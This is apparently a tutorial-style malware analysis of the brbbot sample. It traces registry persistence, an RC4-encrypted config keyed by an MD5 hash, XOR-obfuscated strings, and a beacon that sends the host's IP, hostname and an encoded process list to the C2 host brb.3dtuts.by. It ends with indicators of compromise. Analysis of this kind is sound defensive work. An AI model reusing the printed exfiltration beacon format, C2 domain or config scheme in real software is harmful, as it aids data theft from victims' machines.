Deep Analysis of brbbot malware
Sample:
F47060D0F7DE5EE651878EB18DD2D24B5003BDB03EF4F49879F448F05034A21E
This is a fairly simple malware sample that can be a great start for beginners in Malware Analysis!
As it combines different kinds of techniques and at the same time a simple implementation, So let’s start digging into it! 🔥.
Basic static analysis
I prefer always to start by viewing the strings as it gives me a general insight on what this sample is doing
the information we get from this screenshot is that:
- this malware might be doing some persistence by placing itself in Software\Microsoft\Windows\CurrentVersion\Run registry key.
- Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) is a User-Agent so there might be a possible network activity.
- Reg* WinAPIs shows that there is some registry activity.
- Crypt* WinAPIs shows that there might be some encryption.
Behaviour Analysis
let’s start executing the sample and monitor its HOST behaviours with ProcMon and ProcDOT.
loading the CSV from ProcMon into ProcDOT we can see two important events happening
- the sample moves itself to C:\Users\REM\AppData\Roaming with the same old name.
- the sample drops a file brbconfig.tmp.
viewing the dropped file content we see that it is encrypted.
if you take a look at the brbbot.exe’s resource section you’ll
understand where did this file came from.
Network Activity
let’s fire wp wireshark and monitor this sample’s network activity
- Note: Iam using FakeNet to simulate some network services
we notice first looking at the packet number 3 a DNS query to resolve the hostname brb.3dtuts.by and this can be used as an IOC, we also see at packet number 8 an HTTP request to ads.php with some parameters, here is the full URL:
/ads.php?i=10.0.2.15&c=DESKTOP-2C3IQHO&p=123f373e600822282f3e366028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600d193423083e292d32383e753e233e602d363a382f33372b753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60083e382e29322f22133e3a372f33083e292d32383e753e233e60282d383334282f753e233e600d1c1a2e2f33083e292d32383e753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602f3a28303334282f2c753e233e60282d383334282f753e233e60282d383334282f753e233e60382f3d363435753e233e603e232b3734293e29753e233e6008333e37371e232b3e29323e35383e1334282f753e233e60083e3a2938330e12753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60083e3a29383312353f3e233e29753e233e60282d383334282f753e233e60282d383334282f753e233e600d1934230f293a22753e233e60282d383334282f753e233e60282d383334282f753e233e600c36320b292d081e753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e600c3235082f34293e751a2b2b753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f37373334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028363a292f2838293e3e35753e233e60282d383334282f753e233e60282d383334282f753e233e601d3a303e153e2f753e233e603834353334282f753e233e60322b3834353d323c753e233e60393a38303c29342e353f0f3a28301334282f753e233e60083e3a2938330b29342f343834371334282f753e233e60083e3a2938331d32372f3e291334282f753e233e603f37373334282f753e233e603f37373334282f753e233e6039293939342f753e233e
we see the User-Agent we’ve collected from strings used here in this request.
also there are three parameters in this query:
- i: which is clearly an IP address (our host’s IP address).
- c: the hostname of our host.
- p: which is a long hex strem (if we tried to convert it to ASCII we won’t understand anything, it might be encrypted).
let’s save this hex data to a file for further analysis.
Static Analysis (code analysis)
I always start my analysis with IDA from the strings window, firts as we saw before there is a resource section that is called CONFIG, let’s find it in strings and see where is it used.
AHA! as we expected! this sample finds the resource named CONFIG then drops it to the disk under the name brbconfig.tmp (the encrypted file we saw before) the next step I would do is to try to decrypt the file content, as we also saw earlier there is a lot of Crypt* function in this sample, let’s look for them in the imports and examine the code.
first we see that it opens a handle to brbconfig.tmp into v5 and v6.
next we see a group of cryptographic functions that sets the key and algorithm for decryption.
then at line 57 it reads the content of the file v5 into the buffer v14 (which is allocated in Heap).
next if ReadFile is successful and the number of bytes to read is less than 1000 bytes it will call CryptDecrypt with the key that was previously crafted.
what we need to know now are two things:
- what algorithm is used for encryption?.
- what is the key of encryption?.
to get the answer of those two questions we have to analyse the cryptography functions. the three important functions we have to take a look at are:
- CryptCreateHash
a good place to search for information about any WinAPI function is MSDN, so looking at the function’s documentation here we see the following:BOOL CryptCreateHash( [in] HCRYPTPROV hProv, [in] ALG_ID Algid, [in] HCRYPTKEY hKey, [in] DWORD dwFlags, [out] HCRYPTHASH *phHash );
So what’s important for us now is the second argument Algid which has a value of 0x8003, reveiwng MSDN again for the Algid we see that it is MD5 Algorithm.
- CryptHashData
Again we review the function’s definition in MSDN:
BOOL CryptHashData(
[in] HCRYPTHASH hHash,
[in] const BYTE *pbData,
[in] DWORD dwDataLen,
[in] DWORD dwFlags
);
this time we are interested in the pbData parameter which is in oure case the string YnJiYm90
.
notice that hHash parameter is the return value from CryptCreateHash.
so the coclution of the two functions analysis is that an MD5 hash from the string YnJiYm90
will be created.
- CryptDeriveKey
BOOL CryptDeriveKey(
[in] HCRYPTPROV hProv,
[in] ALG_ID Algid,
[in] HCRYPTHASH hBaseData,
[in] DWORD dwFlags,
[in, out] HCRYPTKEY *phKey
);
this function will generate the decryption key (phKey), the Algid here represents the decryption algorithm used and since in our case it holds 0x6801 we can serach MSDN for it.
NICE! so it’s RC4, but what is the key? As this function recieves a handle to a hash object created by CryptHasahData it generates the key based on this hash (for further information review MSDN’s documentation)
Config decryption
So our key will be the MD5 hash of YnJiYm90
e2834a5bba1c28b7f536bd3ec5f1d8e0
and our decryption algorithm is RC4. let’s fire up CyberChef and verify our results 👀.
AND indeed we decrypted the file!
uri=ads.php;exec=cexe;file=elif;conf=fnoc;exit=tixe;encode=5b;sleep=30000
now let’s reaname this function to decrypt_brbconf and move on with our analysis the next step is to know how is this data used in the sample, for that we can see cross-references to decryptbrbconf function and start analysing from there.
in the above screenshot we can see that decrypt_brbconf is executed and it will return the buffer containing the configuration data in the Src Parameter,then the variable is used several time as a parameter to the function sub_7ff709751000
I did a quick dynamic analysis of the function output and noticed that it parses the config string and looks for the value of the third parameter passed to it and extracts it to the last parameter, for example when the third parameter is uri the function will extract ads.php (because in the config we see uri=ads.php).
let’s rename the variables based on their values and continue with the analysis.
next I investigated the call to HttpOpenRequestA and came up with the request function.
If we move back to see the cross-references and locate the subdomain value we see that it is obtained by XORing the value “#3#or%5452o#8A” with 0x41 (becomes: brb.3dtuts.by.)
Also in the same function we can see the parameters being assigned.
We are only interested in the last parameter which is v5 as it will contain our encoded hex data. so let’s move back and see where does this varible gets assigned.
In the above screenshot we see that v5=v15 and v15 is a memory address in heap.
next we see that v17=v15 so now we have v5, v17, v15 all with the same pointer address.
we also see that sprintf prints some hex data pointed to by v16 into v17.
v16=v8, let’s go back and see v8
- Note: there are a lot of assigns and “=” signs for the purpose of obfuscating the code.
v8 = lpMem but lpMem is passed as a parameter for the function sub_7ff70975330, let’s decompile the function and analyse it.
what happens in this function is:
- it obtains a handle to ntdll.dll.
- it resolves ZwQuerySystemInformatin address from NTDLL.
- it calls ZwQuerySystemInformatin.
ZwQuerySystemInformatin can be used to get different system information like basic system information and processors information etc.
but how can we determine what information it is trying to collect here? the answer is: by seeing the first argument SystemInformationClass
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
In our case it is 0x05 so if we googled it we can determine what type of information it wants:
0x05 is the value of SystemProcessInformation
so now we can cearly say that the hex data that was sent is just the processes on the system.
but how was it encrypted?
let’s get out of this function and move a step back to sub_7ff709751c10 we see lpMem assigned to v13 then v13 is XORed with some value.
in order to know the XOR key we have to know the parameter a1 address then add 0x514 and the value we get will be our XOR key.
the first parameter is the address &unk_7ff709764560, if we tried to view it we will get nothing because it gets its value during the execution time, we can easily put a breakpoint on this line then see what value it holds.
the address starts at 0x00007FF709764560 but our key is at this address + 0x514 = 0x7ff709764a74.
COOL! 0x5b ! we got the key.
- Note: remember that in the config we decrypeted before we saw encode=5b (that was obviously the decryption key but it is always more fun to figure it out by code analysis 🤣).
And now let’s come back to the hex data we saved and decrypt it with CyberChef.
names of processes? that was expected!.
Indicators of Compromise
Host-Based
Hashes:
- MD5: 1C7243C8F3586B799A5F9A2E4200AA92
- SHA1: 4DB5A8E237937B6D7B435A8506B8584121A7E9E3
Registry:
Software\Microsoft\Windows\CurrentVersion\Run
Files Dropped:
C:\Users\USER\AppData\Roaming\brbconfig.tmp
Network-Based
User-Agent:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
C2 Server:
brb.3dtuts.by
Useful Strings
YnJiYm90
encode
%s?i=%s&c=%s&p=%s
excec